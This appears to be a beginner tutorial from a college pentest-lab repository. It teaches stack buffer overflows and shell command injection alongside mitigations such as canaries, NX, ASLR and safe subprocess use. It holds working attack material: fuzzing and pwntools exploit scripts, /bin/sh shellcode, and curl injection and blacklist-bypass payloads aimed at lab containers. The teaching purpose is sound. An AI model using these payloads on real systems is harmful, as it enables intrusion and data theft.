

Buffer Overflow — From Zero to Hero Guide

A Complete Beginner-Friendly Walkthrough

PART 1: Computer Fundamentals (Before We Start)

1.1 What Is a Computer Program?

A computer program is simply a list of instructions that the CPU (Central Processing Unit) executes one by one. When you write code in C, Python, or any language, it eventually becomes **machine code** — binary numbers that the CPU understands.

```
Source Code (C) → Compiler (gcc) → Machine Code (binary) → CPU executes
```

Every program needs **memory** to work. Think of memory (RAM) as a giant notebook with numbered pages. Each page has an **address** (its page number) and can store a small piece of data.

1.2 What Is Memory?

RAM (Random Access Memory) is where your program lives while it runs. It is divided into **bytes** — each byte is 8 bits, and each byte has a unique address.

Address:	0x0000	0x0001	0x0002	0x0003	0x0004	...
Content:	[48]	[65]	[6C]	[6C]	[6F]	...
	H	e	l	l	o	

When you create a variable like `int x = 42;`, the computer reserves a spot in memory and stores 42 there.

1.3 How Is Memory Organized for a Program?

When a program runs, the operating system divides memory into sections:

+-----+	Highest Address (e.g., 0xFFFFFFFF)
STACK	← Local variables, function calls
↓ grows down	
(free space)	
↑ grows up	
HEAP	← Dynamic memory (malloc, new)
+-----+	
BSS	← Uninitialized global variables
+-----+	
DATA	← Initialized global variables
+-----+	
TEXT (CODE)	← Your program's instructions
+-----+	Lowest Address (e.g., 0x00000000)

The Stack is where the action happens for buffer overflow. Let us understand it deeply.

1.4 What Is the Stack?

The **stack** is like a stack of plates in a cafeteria:

- You can only add a plate on **top** (PUSH)
- You can only remove from the **top** (POP)
- This is called **LIFO** — Last In, First Out

Every time your program **calls a function**, the CPU pushes a new **stack frame** onto the stack. This frame contains:

1. The function's local variables (including buffers)
2. The **saved frame pointer** (EBP) — so we can return to the caller's frame
3. The **return address** — the most critical piece: WHERE to continue executing after this function finishes

```
main() calls greet() calls strlen()
```

Stack grows downward:

+-----+	
main()'s frame	← bottom of stack (placed first)
+-----+	
greet()'s frame	← placed on top of main
+-----+	
strlen()'s frame	← placed on top of greet (current)
+-----+	← TOP of stack (Stack Pointer - ESP)

When `strlen()` finishes, its frame is removed and execution continues in `greet()` at the **return address** that was saved.

1.5 What Is a Buffer?

A **buffer** is just a block of memory reserved to hold data. In C:

```
char name[64];    // A buffer: 64 bytes reserved for a name
```

The word "buffer" comes from the concept of a temporary holding area — like a waiting room. Data goes into the buffer temporarily before being processed.

1.6 What Are Registers?

The CPU has small, super-fast storage locations called **registers**. The important ones for us:

Register	Full Name	Purpose
EIP	Extended Instruction Pointer	Points to the NEXT instruction to execute
ESP	Extended Stack Pointer	Points to the TOP of the stack
EBP	Extended Base Pointer	Points to the BASE of the current stack frame
EAX	Extended Accumulator	General purpose + return values

EIP is the most critical register. Whoever controls EIP controls what the program does next. This is the attacker's ultimate target.

1.7 What Happens When a Function Is Called?

Let us trace what happens when `main()` calls `vulnerable_function("hello")`:

Step 1: PUSH arguments onto stack	→ "hello" goes on stack
Step 2: PUSH return address	→ address of next instruction in main()
Step 3: PUSH saved EBP	→ save main()'s frame pointer
Step 4: Set EBP = ESP	→ new frame starts here
Step 5: SUB ESP, 64	→ make room for local buffer[64]
Step 6: Execute function body	→ the function does its work
Step 7: Set ESP = EBP	→ discard local variables
Step 8: POP EBP	→ restore main()'s frame pointer
Step 9: RET	→ pop return address into EIP → continue in main()

The RET instruction pops the top of the stack into EIP. If an attacker has overwritten that value, the CPU jumps to the attacker's chosen address.

PART 2: What Is Buffer Overflow?

2.1 The Core Concept

Now that we understand the stack, buffer overflow is simple:

If you write more data into a buffer than it can hold, the extra data overwrites whatever is next to it in memory.

Since the stack places the buffer **BELOW** the return address, overflowing the buffer overwrites the return address.

BEFORE overflow:	AFTER overflow (80 bytes into 64-byte buffer):
+-----+	+-----+
Return Address	0x41414141 * ← OVERWRITTEN with "AAAA"!
= 0x08049876	
+-----+	+-----+
Saved EBP	0x41414141 ← OVERWRITTEN
= 0xBFFFFFF0	
+-----+	+-----+
buffer[64]	AAAAAAAAAA ← FILLED
= empty	AAAAAAAAAA
	AAAAAAAAAA
+-----+	+-----+

When the function tries to return, it pops `0x41414141` into EIP. The CPU tries to execute code at address `0x41414141`, which does not exist → **crash (Segmentation Fault)**.

But what if instead of `0x41414141`, we put a REAL address — the address of OUR code? Then the CPU would execute OUR instructions. That is the entire attack.

2.2 Why Does C Allow This?

C was designed in the 1970s for maximum speed. Functions like `strcpy()` copy bytes until they hit a null byte (`\0`) — they do NOT check if the destination buffer is big enough. This design choice prioritized performance over safety.

```
// DANGEROUS: strcpy does not check buffer size
char buffer[64];
strcpy(buffer, user_input); // If user_input > 64 bytes → OVERFLOW

// SAFE: strncpy limits the copy to buffer size
char buffer[64];
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
```

Modern languages like Python, Java, and Rust prevent this by checking array bounds automatically. C and C++ do not.

2.3 A Simple Vulnerable Program

```
#include <stdio.h>
#include <string.h>

void vulnerable_copy(const char *input) {
    char buffer[64];           // Step 1: Reserve 64 bytes
    strcpy(buffer, input);     // Step 2: Copy input – NO SIZE CHECK!
    printf("You said: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: %s <message>\n", argv[0]);
        return 1;
    }
    vulnerable_copy(argv[1]); // Step 3: User input goes to vulnerable function
    return 0;
}
```

- If you run `./program "Hello"` → works fine (5 bytes < 64 bytes)
- If you run `./program $(python -c 'print("A"*100)')` → **CRASH** (100 bytes > 64 bytes)

PART 3: The Attack Step by Step

3.1 Prerequisites — What You Need to Know

Before attacking, you need to understand:

What is a network socket? A socket is an endpoint for communication. Think of it like a phone call — one side listens, the other connects. Servers listen on a **port** (a number from 1-65535), and clients connect to that port.

What is TCP? TCP (Transmission Control Protocol) is the reliable way computers talk. It guarantees data arrives in order and without errors. HTTP, SSH, and most services use TCP.

What is a debugger? A debugger (like GDB) lets you pause a program and inspect its memory, registers, and execution flow. It is the attacker's most important tool for understanding what is happening inside the program.

3.2 Step 1: Fuzzing — Finding the Crash

What is fuzzing? Sending random or semi-random data to a program to find crashes. If it crashes, there might be a vulnerability.

```
import socket

target_ip = "vuln_server"
target_port = 9999
buffer_size = 100

while True:
    try:
        print(f"[*] Sending {buffer_size} bytes...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))
        s.send(b"A" * buffer_size)
        s.recv(1024)
        s.close()
        buffer_size += 100
    except:
        print(f"[!] Server crashed at {buffer_size} bytes!")
        break
```

We keep increasing the payload until the server stops responding. This tells us the approximate buffer size.

3.3 Step 2: Finding the Exact Offset

We know it crashes at ~600 bytes, but we need the EXACT position of the return address. We use a **cyclic pattern** — a special string where every 4-byte sequence is unique.

```
from pwn import *

# Generate unique pattern
pattern = cyclic(600)
# Send it to the server
r = remote("vuln_server", 9999)
r.send(pattern)
r.close()

# In GDB, check what value EIP has after crash
# Example: EIP = 0x61616174
# Find that in our pattern:
offset = cyclic_find(0x61616174)
print(f"Return address is at offset {offset}") # e.g., 524
```

Our Python simulator does the same thing safely:

```
python -m buffer_lab pattern --length 600
python -m buffer_lab find-offset --needle 0x61616174
```

3.4 Step 3: Controlling EIP

Now we know the return address is at byte 524. Let us prove we can control it:

```
offset = 524
payload = b"A" * offset + b"BBBB" # "BBBB" = 0x42424242

r = remote("vuln_server", 9999)
r.send(payload)
# In GDB: EIP = 0x42424242 ← WE CONTROL IT!
```

3.5 Step 4: What Is Shellcode?

Shellcode is tiny machine code that does something useful for the attacker — usually opening a shell (command prompt). It is called "shellcode" because historically it spawned `/bin/sh`.

What is Assembly language? Assembly is one step above machine code. Each instruction maps directly to a CPU operation:

```
mov eax, 5      ; Put the number 5 into register EAX
add eax, 3      ; Add 3 to EAX (now EAX = 8)
push eax        ; Push EAX onto the stack
```

Shellcode is written in assembly, then converted to raw bytes:

```
; Linux x86: execve("/bin/sh", NULL, NULL)
xor  eax, eax      ; eax = 0 (clear it)
push eax           ; push null terminator for string
push 0x68732f2f    ; push "//sh" (reversed because little-endian)
push 0x6e69622f    ; push "/bin"
mov  ebx, esp       ; ebx now points to "/bin//sh\0"
xor  ecx, ecx       ; ecx = NULL
xor  edx, edx       ; edx = NULL
mov  al, 0xb        ; syscall number 11 = execve
int  0x80           ; trigger the system call → shell!
```

What is little-endian? x86 CPUs store numbers with the least significant byte first. So `0x41424344` is stored as bytes `44 43 42 41` in memory.

What are bad characters? Some bytes break certain functions:

- `\x00` (null) — terminates `strcpy`
- `\x0a` (newline) — terminates `fgets`
- We must avoid these in shellcode or encode around them

3.6 Step 5: Types of Shells

What is a reverse shell? The victim connects BACK to the attacker. Used when the victim is behind a firewall.

Normal connection:	Attacker → Victim (blocked by firewall)
Reverse shell:	Victim → Attacker (passes through firewall!)

What is a bind shell? The victim opens a port and waits for the attacker to connect.

3.7 Step 6: The Complete Exploit

```
from pwn import *

OFFSET = 524
JMP_ESP = p32(0x080414c3) # Address of JMP ESP instruction
NOP_SLED = b"\x90" * 32 # NOP = "do nothing" — safety padding

# Reverse shell shellcode (generated by msfvenom)
SHELLCODE = b"\xdb\x00..." # actual bytes here

payload = b"A" * OFFSET # Fill buffer to return address
payload += JMP_ESP      # Overwrite return address → jump to ESP
payload += NOP_SLED      # Landing zone
payload += SHELLCODE     # Our reverse shell code

r = remote("vuln_server", 9999)
r.send(payload)
```

What is a NOP sled? NOP (`\x90`) means "No Operation" — the CPU just moves to the next instruction. A NOP sled is a padding of NOPs before the shellcode. If EIP lands anywhere on the sled, it slides down to the shellcode. This makes the exploit more reliable.

What is JMP ESP? After the RET instruction, ESP points right after the return address — exactly where our shellcode is. We find a `JMP ESP` instruction already in the program and use its address as our return address. The flow becomes:

```
RET → pops our address into EIP → JMP ESP → jumps to ESP → NOP sled → shellcode → SHELL!
```

PART 4: The Python Stack Simulator (buffer_lab)

4.1 Why a Simulator?

Real buffer overflow requires a Linux environment, C compiler, and debugger. Our Python simulator lets you understand the concepts safely on any OS without any risk.

4.2 What Does It Simulate?

It models a stack frame in pure Python — a byte array with sections for buffer, canary, saved frame pointer, and return address. When you do an "unsafe copy," it writes bytes just like `strcpy` would, overflowing into adjacent sections.

4.3 Available Commands

Generate a cyclic pattern (for finding offsets):

```
python -m buffer_lab pattern --length 128
```

Find where a value appears in the pattern:

```
python -m buffer_lab find-offset --needle 0x61616174
```

Simulate an overflow:

```
python -m buffer_lab demo-overflow --buffer-size 64 --payload-size 80  
# Output: OVERFLOW: adjacent stack metadata changed
```

Simulate with canary protection:

```
python -m buffer_lab demo-overflow --buffer-size 64 --payload-size 80 --canary  
# Output: ABORTED: stack canary detected corruption
```

Show the full memory layout diff:

```
python -m buffer_lab show-layout --buffer-size 64 --payload-size 80 --marker HACK
```

Try a safe (bounded) copy:

```
python -m buffer_lab safe-copy --buffer-size 64 --payload-size 80  
# Output: REJECTED: payload is 80 bytes, but buffer is 64 bytes
```

PART 5: The Docker Pentest Lab

5.1 What Is Docker?

Docker is a tool that packages applications into **containers** — lightweight, isolated environments that share the host OS kernel. Think of a container like a virtual machine, but much lighter and faster.

What is Docker Compose? A tool to define and run multiple containers together. One YAML file describes all your services, and `docker compose up` starts everything.

Why Docker for security labs? Because you can create intentionally vulnerable systems in complete isolation. Nothing you do inside the containers affects your real computer.

5.2 Our Lab Architecture

```

Your Computer
├── Docker Engine
│   └── Docker Network "labnet" (isolated)
│       ├── attacker    → Tools: curl, nmap, netcat
│       ├── victim      → Vulnerable Flask server (port 8080)
│       ├── safe-victim → Fixed server (port 8081)
│       └── bad-safe-victim → Weak fix server (port 8082)

```

5.3 Setup Steps

```

# 1. Go to the lab directory
cd college-pentest-lab

# 2. Build and start all containers
docker compose up --build -d

# 3. Enter the attacker container
docker exec -it attacker bash

# 4. You are now "inside" the attacker machine
# Start hacking!

```

5.4 The Vulnerability — Command Injection

What is Command Injection? It is when user input is passed directly to a system shell, allowing the attacker to execute arbitrary OS commands.

This is the **software-level equivalent** of buffer overflow — instead of overwriting memory, we inject commands into a shell string. The root cause is the same: **trusting user input without validation**.

The vulnerable code:

```

cmd = f"ping -c 1 {host}"          # User input in shell command
subprocess.check_output(cmd, shell=True)  # shell=True = DANGEROUS

```

If `host = "127.0.0.1; whoami"`, the shell sees:

```
ping -c 1 127.0.0.1; whoami
```

The semicolon separates two commands. The shell runs both.

5.5 Attack Walkthrough

```
# Step 1: Normal request (safe)
curl "http://victim:8080/ping?host=127.0.0.1"

# Step 2: Inject a command after semicolon
curl "http://victim:8080/ping?host=127.0.0.1;whoami"
# Shows: root ← we found the user!

# Step 3: Read files
curl "http://victim:8080/ping?host=127.0.0.1;cat%20flag.txt"
# Shows the flag!

# Step 4: Explore
curl "http://victim:8080/ping?host=127.0.0.1;ls"
curl "http://victim:8080/ping?host=127.0.0.1;id"
```

PART 6: Mitigations — 5 Ways to Defend

6.1 What Is a Mitigation?

A **mitigation** is a defense mechanism that makes exploiting a vulnerability harder (or impossible). Modern systems use multiple mitigations together — this is called **Defense in Depth**.

6.2 Mitigation 1: Stack Canaries

Background: The name comes from the coal mining practice of bringing canaries into mines. If toxic gas was present, the canary would die first, warning the miners.

How it works: The compiler inserts a random value (the "canary") between the buffer and the return address. Before the function returns, it checks if the canary value changed. If yes → the program was attacked → abort immediately.

Why it works: To overwrite the return address, the attacker MUST overflow through the canary first. Since the canary is random, the attacker cannot predict its value.

Limitation: If the attacker can leak the canary value (through a separate vulnerability), they can include it in their payload.

6.3 Mitigation 2: DEP/NX (Data Execution Prevention)

Background: Memory pages have permissions — Read (R), Write (W), and Execute (X). DEP enforces that pages cannot be both Writable AND Executable.

How it works: The stack is marked W (writable) but NOT X (executable). So even if shellcode is placed on the stack, the CPU refuses to execute it.

Why it works: The attacker can write shellcode to the stack but cannot run it.

Limitation: ROP chains (Part 7) can bypass this by reusing existing executable code.

6.4 Mitigation 3: ASLR (Address Space Layout Randomization)

Background: Without ASLR, programs are loaded at the same memory addresses every time. An attacker who knows the address once knows it forever.

How it works: The OS randomizes the base addresses of the stack, heap, and shared libraries on every run. The attacker cannot predict where anything is in memory.

Why it works: The attacker needs to know the address of `JMP ESP` or the shellcode, but those addresses change every time.

Limitation: Information leaks can reveal addresses. Also, on 32-bit systems, there are only ~8 bits of randomization (~256 possibilities), which can be brute-forced.

6.5 Mitigation 4: PIE (Position Independent Executable)

Background: Without PIE, the program's code section is always loaded at a fixed address. ASLR randomizes libraries but not the main binary.

How it works: PIE makes the binary itself relocatable, so ASLR applies to it too.

6.6 Mitigation 5: RELRO (Relocation Read-Only)

Background: The GOT (Global Offset Table) maps function names to their addresses in shared libraries. If an attacker overwrites a GOT entry, they can hijack function calls.

How it works: RELRO makes the GOT read-only after startup, preventing overwrites.

6.7 The Safe Server (Software-Level Mitigation)

```
# VULNERABLE (app.py):
cmd = f"ping -c 1 {host}"
subprocess.check_output(cmd, shell=True) # ← shell interprets user input

# SAFE (app_safe.py):
if not is_valid_host(host):                # ← validate input type
    return "Invalid host", 400
subprocess.check_output(["ping", "-c", "1", host]) # ← no shell!
```

PART 7: Bypass — Defeating Weak Defenses

7.1 What Is a Bypass?

A **bypass** is a technique that circumvents a security mitigation, making the attack work despite the defense.

7.2 The Bad Fix

A developer saw the `;whoami` attack and thought: "I will block the semicolon!"

```
BLOCKED_TOKENS = [";"]    # Only blocks semicolon!

if any(token in host for token in BLOCKED_TOKENS):
    return "Blocked", 400

cmd = f"ping -c 1 {host}"
subprocess.check_output(cmd, shell=True)    # ← Still using shell=True!
```

7.3 Why It Fails

The shell has MANY ways to chain commands, not just semicolons:

```
# Blocked:
127.0.0.1;whoami          # semicolon (blocked by filter)

# NOT blocked:
127.0.0.1$(whoami)        # command substitution
127.0.0.1`whoami`         # backtick substitution
127.0.0.1|whoami          # pipe
127.0.0.1&&whoami         # AND operator
127.0.0.1| |whoami        # OR operator
```

7.4 The Bypass Demo

```
# Original attack – BLOCKED
curl "http://bad-safe-victim:8080/ping?host=127.0.0.1%3Bwhoami&format=text"

# Bypass with $() – WORKS!
curl "http://bad-safe-victim:8080/ping?host=127.0.0.1%24%28whoami%29&format=text"

# Read the flag – WORKS!
curl "http://bad-safe-victim:8080/ping?host=127.0.0.1%24%28cat%20flag.txt%29&format=text"
```

Lesson: Blacklists are never enough. The correct fix removes the shell entirely and validates input type.

PART 8: Bonus — Buffer Overflow on Different Software

8.1 Why Different Software Types Matter

Buffer overflow is not just a C problem — it affects any software that uses native (C/C++) code. Let us examine each platform.

8.2 Web Applications

What is a web server? Software that listens for HTTP requests and sends back web pages. Examples: Apache, Nginx. Their core is written in C.

How BOF affects web: The web server itself, or libraries it uses (OpenSSL for HTTPS), can have buffer overflows. A malicious HTTP request can trigger the overflow.

Heartbleed (CVE-2014-0160): OpenSSL's heartbeat feature had a buffer over-read. The client could ask the server to echo back 64KB of memory, receiving passwords and private keys.

8.3 Mobile Applications

What is JNI? Java Native Interface — allows Java/Kotlin Android apps to call C/C++ code for performance. This native code can have buffer overflows.

How BOF affects mobile: The Java/Kotlin layer is safe (automatic bounds checking), but any JNI native code is vulnerable. Android has ASLR and DEP enabled by default since version 4.1.

8.4 Desktop Applications

How BOF affects desktop: Programs like Adobe Reader, VLC, and web browsers parse complex file formats (PDF, video, images) in C/C++. A malformed file can trigger an overflow during parsing.

Impact: Opening a crafted PDF or video file can give an attacker full control of your computer.

8.5 IoT / Embedded Systems

What is IoT? Internet of Things — cameras, routers, smart bulbs, medical devices. They run tiny operating systems on weak processors.

Why IoT is most vulnerable: Most IoT firmware is compiled without ANY protections (no ASLR, no DEP, no canaries). Firmware updates are rare. Many devices have network-facing services with no input validation.

8.6 Comparison

Platform	BOF Risk	Protections	Update Frequency
Web	Medium	High (managed languages + WAF)	Frequent
Mobile	Low	High (ASLR + DEP default)	Regular
Desktop	High	Medium-High (OS protections)	Regular
IoT	Very High	Very Low (often none)	Rare/Never

PART 9: Testing and Running the Project

9.1 Unit Tests

```
python -m pytest tests/test_buffer_lab.py -v
```

9.2 Docker Lab

```
cd college-pentest-lab
docker compose up --build -d
docker exec -it attacker bash
bypass-bad-safe                # automated bypass demo
docker compose down
```

9.3 Interactive Browser Lab

Open `examples/interactive_lab.html` in any browser to visually simulate buffer overflow with adjustable parameters.

References

- OWASP Buffer Overflow: https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
- Aleph One, "Smashing the Stack for Fun and Profit": <http://phrack.org/issues/49/14.html>
- ROP Emporium: <https://ropemporium.com/>
- Exploit Education: <https://exploit.education/>
- pwntools: <https://docs.pwntools.com/>

Repository: https://github.com/samir22418/buffer_overflow